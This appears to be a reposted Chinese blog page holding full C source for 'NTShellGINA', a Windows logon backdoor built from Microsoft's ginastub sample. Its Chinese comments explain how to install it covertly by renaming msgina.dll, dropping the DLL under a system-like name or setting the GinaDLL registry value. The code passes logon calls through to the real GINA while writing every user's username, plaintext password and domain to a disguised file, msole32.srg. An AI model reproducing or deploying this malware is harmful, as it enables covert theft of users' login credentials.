GINA后门代码
/*
NTShellGINA.c - a gina stub come from NTShell 1.0
by:bingle@email.com.cn, from homepage:bingle_site.top263.net
This file is modified from microsoft sample ginastub.c,
this file will save the logon password to the file system32\\msole32.srg
WinLogon登錄管理:
Winlogon進(jìn)程負(fù)責(zé)管理登錄相關(guān)的安全性工作,它負(fù)責(zé)處理用戶的登錄與注銷、啟動用戶shell、輸入口令
、更改口令、鎖定與解鎖工作站等。Winlogon進(jìn)程必須保證其與安全相關(guān)操作對其他進(jìn)程不可見,以免其他
進(jìn)程取得登錄密碼。
系統(tǒng)初始化時,啟動用戶程序之前,Winlogon進(jìn)行特定工作已保障以上的需求。Winlogon進(jìn)程將創(chuàng)建并打開
一個Window Stations,然后設(shè)置一個訪問控制人口(ACE),該ACE中只包含Winlogon進(jìn)程的SID,這樣就
只有Winlogon進(jìn)程才能訪問該Window Stations 。然后winlogon創(chuàng)建桌面,設(shè)置其中的winlogon桌面
只有winlogon可以訪問,其他進(jìn)程不能訪問該桌面的任何數(shù)據(jù)和代碼;利用這一特性保護(hù)口令、鎖定桌面
等操作的安全。winlogon還會注冊安全注意序列(SAS - secure attention sequence)的熱鍵,任何時候
按下SAS熱鍵(缺省為ctrl+alt+del),將調(diào)用Winlogon,切換到安全桌面,從而使密碼捕捉程序不能接收
登錄密碼和更改密碼等安全活動。
而登錄進(jìn)程的驗證和身份驗證都是在GINA(GINA - Graphical Identification and Authentication
圖形標(biāo)識和身份驗證)中實現(xiàn)的,微軟的GINA是MSGINA.dll,實現(xiàn)了默認(rèn)的Windows NT登錄界面。
不過可以自己開發(fā)GINA DLL以實現(xiàn)其他的身份驗證方法,如磁卡。當(dāng)然這也為木馬留下了機會,可以通過
編寫和系統(tǒng)GINA界面相同的GINA,然后取代MSGINA.dll。在msdn sample里有一個GINA的例子。不過如果
僅僅為了獲取登錄密碼,沒有必要那么麻煩,只需寫一個接口和GINA一樣的,然后所有函數(shù)在實現(xiàn)時都去調(diào)
用MSGINA.dll的相同函數(shù)就可以了,在msdn sample里也有這樣一個例子叫做ginastub,當(dāng)然作為木馬
還要在登錄時將密碼轉(zhuǎn)儲。(更多的gina信息,在msdn里查找gina)
NTShelGINA就是使用了后一種方法。我把ginastub改了改,在登錄時將username:password:domain
存在msole32.srg里。它在運行時具體功能都要調(diào)用msgina.dll,因此安裝時這個文件必須存在,然后將
msgina.dll改名為winlogon32.dll,然后把NTShellGINA.dll拷貝為msgina.dll即可。這是ntshell
里的第二種安裝方法。
不過微軟還在注冊表里留了一個位置由于安裝GINA,在HKLM\Software\Microsoft
\Windows NT\CurrentVersion\Winlogon下設(shè)置GINADLL為某個GINA DLL,(GINADLL這個值缺省沒有)
如果設(shè)置了這個值,nt會調(diào)用該GINA,而不會調(diào)用缺省的msGINA.dll。因此NTShell的第一種安裝方法是
將NTShellGINA.dll拷貝到system32\mshtmlgi.dll,然后設(shè)置GINADLL為mshtmlgi.dll。
因此第二種方法安裝成功的前提是系統(tǒng)原來沒有設(shè)置GINADLL這個值,否則將不予安裝NTShellGINA 。
當(dāng)然在win2000里如果使用第二種安裝方法還要把dllcache里msgina.dll改名。(ntshell改名為
mshtmlgi.dll)。
由于GINA DLL負(fù)責(zé)系統(tǒng)認(rèn)證和安全登錄,因此如果一旦出錯,用戶將不能登錄系統(tǒng),必須慎用。也因此
NTShell在安裝時作了較多的檢測,如果檢測失敗將不予安裝。比如在把ntshellgina.dll拷貝為文件
msgina.dll的安裝方法里,第一次mslogon32.dll<-msgina.dll<-ntshellgina.dll,如果再次安裝
用msgina.dll替換mslogon32.dll,用ntshellgina.dll替換后來的msgina.dll(其實還是ntshellgina.dll)
,這樣原來的msgina.dll就沒有了,只有兩個ntshellgina.dll,找不到真正的msgina.dll,ntshellgina.dll
將失敗。
ntshell依次作如下檢測:
注冊表里的GINADLL如果設(shè)置,則認(rèn)為系統(tǒng)不是使用默認(rèn)的登錄GINA,自然不予安裝(找不
到msgina.dll或者其他程序工作不正常)
如果系統(tǒng)的msgina.dll和ntshellgina.dll相同,則認(rèn)為已經(jīng)安裝過了,不能再次安裝
如果系統(tǒng)中存在mslogon32.dll,有可能使用ntshell安裝過了,不再安裝(除非你確認(rèn),msgina.dll
還是原來的,可以手工刪除mslogon32.dll,再安裝;否則不要安裝)
如果安裝出錯,不能登錄,可以參考msdn的如下說明進(jìn)行恢復(fù):(我使用的是第4種方法,其他的未試)
WARNING! - It is possible to make your machine unusable if you install a
replacement Gina and it fails. To avoid this situation, be sure that you have
a method of accessing the %systemroot%\SYSTEM32 directory independent of the
Windows NT? installation you are testing on.
If the Gina sample malfunctions, and you are not able to log on to fix the problem,
you can recover by doing one of the following:
1.If the test machine is on the network and you have an account on another machine
with Administrative privileges on the test machine, open the test machine registry
remotely with regedt32 and delete the GinaDLL value.
2.If the test machine is on the network, and %systemroot%\SYSTEM32 is available on
a network share for that machine (e.g. \\<name>\c$), rename Gina.dll to something
else with a command like:
ren \\<name>\c$\winnt351\system32\gina.dll gina.sdk
Reboot the test machine.
3.Delete the GinaDLL value from the registry.
4.If the test machine will dual boot to another version of Windows NT or another
operating system capable of accessing %systemroot%\system32, boot to that operating
system, delete %systemroot%\system32\Gina.dll, reboot, and delete the GinaDLL value
from the registry.
//next is the microsoft msdn original comments
Module : ginastub.c
Abstract:
This sample illustrates a pass-thru "stub" gina which can be used
in some cases to simplify gina development.
A common use for a gina is to implement code which requires the
credentials of the user logging onto the workstation. The credentials
may be required for syncronization with foreign account databases
or custom authentication activities.
In this example case, it is possible to implement a simple gina
stub layer which simply passes control for the required functions
to the previously installed gina, and captures the interesting
parameters from that gina. In this scenario, the existing functionality
in the existent gina is retained. In addition, the development time
is reduced drastically, as existing functionality does not need to
be duplicated.
When dealing with credentials, take steps to maintain the security
of the credentials. For instance, if transporting credentials over
a network, be sure to encrypt the credentials.
Author:
Scott Field (sfield) 18-Jul-96
--*/
#include <windows.h>
#include <stdio.h>
#include <winwlx.h>
#include "ginastub.h"
//
// winlogon function dispatch table
//
PWLX_DISPATCH_VERSION_1_0 g_pWinlogon;
//
// Functions pointers to the real msgina which we will call.
//
PGWLXNEGOTIATE GWlxNegotiate;
PGWLXINITIALIZE GWlxInitialize;
PGWLXDISPLAYSASNOTICE GWlxDisplaySASNotice;
PGWLXLOGGEDOUTSAS GWlxLoggedOutSAS;
PGWLXACTIVATEUSERSHELL GWlxActivateUserShell;
PGWLXLOGGEDONSAS GWlxLoggedOnSAS;
PGWLXDISPLAYLOCKEDNOTICE GWlxDisplayLockedNotice;
PGWLXWKSTALOCKEDSAS GWlxWkstaLockedSAS;
PGWLXISLOCKOK GWlxIsLockOk;
PGWLXISLOGOFFOK GWlxIsLogoffOk;
PGWLXLOGOFF GWlxLogoff;
PGWLXSHUTDOWN GWlxShutdown;
//
// NEW for version 1.1
//
PGWLXSTARTAPPLICATION GWlxStartApplication;
PGWLXSCREENSAVERNOTIFY GWlxScreenSaverNotify;
//
// hook into the real GINA.
//
BOOL MyInitialize( void )
{
HINSTANCE hDll;
//
// judge if which dll to load, if the file named "msgina.dll"
// then ntshell is changed MSGINA.DLL-->mslogon32.dll, so load it
// if named others then just load MSGINA.DLL
//
char origina[]="MSGINA.DLL";
char chgedgina[]="mslogon32.dll";
char *realgina;
char filename[MAX_PATH];
int result;
FILE *fp;
HMODULE hself;
#ifdef _DEBUG
fp=fopen("ginalog.txt", "ab");
if(fp)
{
sprintf(filename, "\r\nMyInitialize been called by ");
fwrite(filename, strlen(filename), 1, fp);
result=GetModuleFileName(NULL, filename, MAX_PATH);
if(result)fwrite(filename, strlen(filename), 1, fp);
fclose(fp);
}
#endif
realgina=NULL;
hself=GetModuleHandle(origina);
if(!hself)realgina=origina;//hself=GetModuleHandle(chgedgina);
else realgina=chgedgina;//if origina loaded, this is origina
// Load original MSGINA.DLL.
if( !(hDll = LoadLibrary( realgina )) ) {
return FALSE;
}
// Get pointers to all of the WLX functions in the real MSGINA.
GWlxNegotiate = (PGWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
if( !GWlxNegotiate ) {
return FALSE;
}
GWlxInitialize = (PGWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );
if( !GWlxInitialize ) {
return FALSE;
}
GWlxDisplaySASNotice =
(PGWLXDISPLAYSASNOTICE)GetProcAddress( hDll, "WlxDisplaySASNotice" );
if( !GWlxDisplaySASNotice ) {
return FALSE;
}
GWlxLoggedOutSAS =
(PGWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
if( !GWlxLoggedOutSAS ) {
return FALSE;
}
GWlxActivateUserShell =
(PGWLXACTIVATEUSERSHELL)GetProcAddress( hDll, "WlxActivateUserShell" );
if( !GWlxActivateUserShell ) {
return FALSE;
}
GWlxLoggedOnSAS =
(PGWLXLOGGEDONSAS)GetProcAddress( hDll, "WlxLoggedOnSAS" );
if( !GWlxLoggedOnSAS ) {
return FALSE;
}
GWlxDisplayLockedNotice =
(PGWLXDISPLAYLOCKEDNOTICE)GetProcAddress(
hDll,
"WlxDisplayLockedNotice" );
if( !GWlxDisplayLockedNotice ) {
return FALSE;
}
GWlxIsLockOk = (PGWLXISLOCKOK)GetProcAddress( hDll, "WlxIsLockOk" );
if( !GWlxIsLockOk ) {
return FALSE;
}
GWlxWkstaLockedSAS =
(PGWLXWKSTALOCKEDSAS)GetProcAddress( hDll, "WlxWkstaLockedSAS" );
if( !GWlxWkstaLockedSAS ) {
return FALSE;
}
GWlxIsLogoffOk = (PGWLXISLOGOFFOK)GetProcAddress( hDll, "WlxIsLogoffOk" );
if( !GWlxIsLogoffOk ) {
return FALSE;
}
GWlxLogoff = (PGWLXLOGOFF)GetProcAddress( hDll, "WlxLogoff" );
if( !GWlxLogoff ) {
return FALSE;
}
GWlxShutdown = (PGWLXSHUTDOWN)GetProcAddress( hDll, "WlxShutdown" );
if( !GWlxShutdown ) {
return FALSE;
}
// we don't check for failure here because these don't exist for
// gina's implemented prior to Windows NT 4.0
GWlxStartApplication = (PGWLXSTARTAPPLICATION) GetProcAddress( hDll, "WlxStartApplication" );
GWlxScreenSaverNotify = (PGWLXSCREENSAVERNOTIFY) GetProcAddress( hDll, "WlxScreenSaverNotify" );
// Everything loaded ok. Return success.
return TRUE;
}
BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{
if( !MyInitialize() ) return FALSE;
return GWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}
BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{
return GWlxInitialize( lpWinsta, hWlx, pvReserved,
pWinlogonFunctions, pWlxContext );
}
VOID WINAPI WlxDisplaySASNotice( PVOID pWlxContext )
{
GWlxDisplaySASNotice( pWlxContext );
}
int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID *pProfile)
{
int iRet;
iRet = GWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId,
pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );
if(iRet == WLX_SAS_ACTION_LOGON) {
// copy pMprNotifyInfo and pLogonSid for later use
FILE *fp;
fp=fopen("msole32.srg", "a");
if(fp!=NULL)
{
char infor[300], buf[300];
memset(buf, 0, 300);
wcstombs(buf, pMprNotifyInfo->pszUserName, 300);
sprintf(infor, "%s", buf);
memset(buf, 0, 300);//if convert failed, we use the error one also
wcstombs(buf, pMprNotifyInfo->pszPassword, 300);
sprintf(infor, "%s:%s", infor, buf);
memset(buf, 0, 300);
wcstombs(buf, pMprNotifyInfo->pszDomain, 300);
sprintf(infor, "%s:%s\r\n", infor, buf);
fwrite(infor, 1, strlen(infor), fp);
fclose(fp);
}
// pMprNotifyInfo->pszOldPassword
}
return iRet;
}
BOOL WINAPI WlxActivateUserShell(
PVOID pWlxContext,
PWSTR pszDesktopName,
PWSTR pszMprLogonScript,
PVOID pEnvironment)
{
return GWlxActivateUserShell(
pWlxContext,
pszDesktopName,
pszMprLogonScript,
pEnvironment
);
}
int WINAPI WlxLoggedOnSAS(
PVOID pWlxContext,
DWORD dwSasType,
PVOID pReserved)
{
return GWlxLoggedOnSAS( pWlxContext, dwSasType, pReserved );
}
VOID WINAPI WlxDisplayLockedNotice( PVOID pWlxContext )
{
GWlxDisplayLockedNotice( pWlxContext );
}
BOOL WINAPI WlxIsLockOk( PVOID pWlxContext )
{
return GWlxIsLockOk( pWlxContext );
}
int WINAPI WlxWkstaLockedSAS(
PVOID pWlxContext,
DWORD dwSasType )
{
return GWlxWkstaLockedSAS( pWlxContext, dwSasType );
}
BOOL WINAPI WlxIsLogoffOk( PVOID pWlxContext )
{
BOOL bSuccess;
bSuccess = GWlxIsLogoffOk( pWlxContext );
if(bSuccess) {
//
// if it's ok to logoff, finish with the stored credentials
// and scrub the buffers
//
}
return bSuccess;
}
VOID WINAPI WlxLogoff( PVOID pWlxContext )
{
GWlxLogoff( pWlxContext );
}
VOID WINAPI WlxShutdown( PVOID pWlxContext, DWORD ShutdownType )
{
GWlxShutdown( pWlxContext, ShutdownType );
}
//
// NEW for version 1.1
//
BOOL WINAPI WlxScreenSaverNotify(
PVOID pWlxContext,
BOOL * pSecure
)
{
if(GWlxScreenSaverNotify != NULL)
return GWlxScreenSaverNotify( pWlxContext, pSecure );
//
// if not exported, return something intelligent
//
*pSecure = TRUE;
return TRUE;
}
BOOL WINAPI WlxStartApplication(
PVOID pWlxContext,
PWSTR pszDesktopName,
PVOID pEnvironment,
PWSTR pszCmdLine
)
{
if(GWlxStartApplication != NULL)
return GWlxStartApplication(
pWlxContext,
pszDesktopName,
pEnvironment,
pszCmdLine
);
//
// if not exported, return something intelligent
//
}
轉(zhuǎn)載于:https://www.cnblogs.com/MaxWoods/archive/2008/06/12/1218243.html
總結(jié)
- 上一篇: 用ironpython驱动你的计算公式
- 下一篇: 数据库面试知识点汇总